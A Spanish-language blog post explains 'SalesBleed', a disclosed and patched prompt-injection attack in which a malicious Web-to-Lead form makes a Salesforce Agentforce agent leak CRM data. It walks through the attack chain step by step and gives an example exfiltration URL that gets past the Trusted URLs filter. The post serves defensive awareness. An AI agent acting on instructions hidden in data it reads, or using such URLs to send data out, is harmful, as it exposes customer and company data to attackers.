SalesBleed: cómo un formulario Web-to-Lead puede robar datos del CRM a través de Agentforce

By Carlos Montiel | Especialista en IA Empresarial
Read in English →
Publicado: 2026-10-07 | Por: Carlos Montiel | Lectura: ~5 minutos

Un formulario público de captación de leads, sin autenticación, bastó para que un atacante convirtiera a un agente de Salesforce en su canal de exfiltración. Zenity Labs lo bautizó SalesBleed, y es un caso de manual de por qué los agentes con acceso al CRM necesitan algo más que filtros de URL.

Qué encontró Zenity Labs

Zenity Labs publicó SalesBleed, un conjunto de tres vulnerabilidades en Salesforce Agentforce. La premisa: un solo lead malicioso, enviado por un formulario Web-to-Lead (que por diseño acepta datos de cualquiera en internet), puede secuestrar a un agente de confianza, extraer datos sensibles del CRM y, en una tercera variante, usar la identidad del agente de Slack para distribuir phishing de forma anónima.

Según el informe de Zenity, el reporte inicial a Salesforce fue el 1 de junio de 2026, Salesforce confirmó la investigación al día siguiente, y los arreglos quedaron confirmados el 18 de agosto y verificados por Zenity el 19 de agosto. El caso se hizo público a finales de septiembre. Es decir: la falla ya está corregida del lado de Salesforce, pero el patrón de ataque sigue vigente para cualquier agente que lea datos no confiables.

Cómo funciona la cadena de ataque

El ataque es una inyección de prompt indirecta: el atacante nunca habla con el agente; deja instrucciones escondidas en campos de texto de un lead. Esas instrucciones quedan dormidas en el CRM hasta que un empleado hace una pregunta rutinaria, como “revisa mis leads más recientes”. En ese momento el agente lee el lead, interpreta el texto del atacante como instrucciones y actúa.

1. Atacante envía formulario Web-to-Lead con instrucciones ocultas 2. Empleado pregunta al agente: "revisa mis últimos leads" 3. El subagente CRM (lectura de Leads y Accounts) procesa el payload 4. El agente arma una URL con datos del CRM (ej. nombres de empresa, montos de tratos) 5. La salida se renderiza -> DNS/HTTP hacia dominio del atacante (0 clics)

Zenity señala que el subagente CRM general tenía, con los permisos por defecto, acceso de lectura a las tablas de Leads y Accounts, lo que permitía extraer datos como nombres de empresas y tamaños de trato.

El bypass de “Trusted URLs” y los dos canales sin clic

Salesforce tiene un control llamado Trusted URLs que redacta destinos no confiables. Zenity encontró dos casos borde en el parseo: los dominios con TLDs no reconocidos (el ejemplo fue .fun) no se trataban como nombres de host, y terminadores como llaves {} y corchetes [] creaban un desacuerdo entre el redactor y el navegador. Una cadena como https://random_string.oast.fun/{email} pasaba el filtro.

Con eso, dos variantes de exfiltración sin interacción humana:

La tercera falla permitía abusar de la identidad confiable del agente de Slack para enviar mensajes de phishing sin atribución al atacante.

Patrón general, no solo Salesforce: cualquier agente que combine (1) lectura de contenido que cualquiera puede escribir, (2) acceso a datos internos y (3) un canal de salida (imágenes, enlaces, mensajes) tiene la “tríada letal” completa. Filtrar URLs por lista negra o regex es una defensa frágil, como muestra este caso.

Qué significa para una empresa que usa agentes sobre su CRM

Checklist práctico:

Si estás desplegando agentes sobre CRM u otros sistemas con datos de clientes y quieres una revisión de arquitectura, escríbenos a info@guatemalia.com.

Carlos Montiel
Arquitecto de Soluciones IA Empresarial
Especialista en LLMs, Agentes y Orquestación
guatemalia.com/#contacto · info@guatemalia.com

¿Necesitas implementar IA en tu empresa?

Carlos Montiel es arquitecto de soluciones IA empresarial. Implementa LLMs, Agentes, RAG y orquestadores en empresas de Guatemala y Latinoamérica. Contáctalo para una consultoría.

Contactar a Carlos Montiel

info@guatemalia.com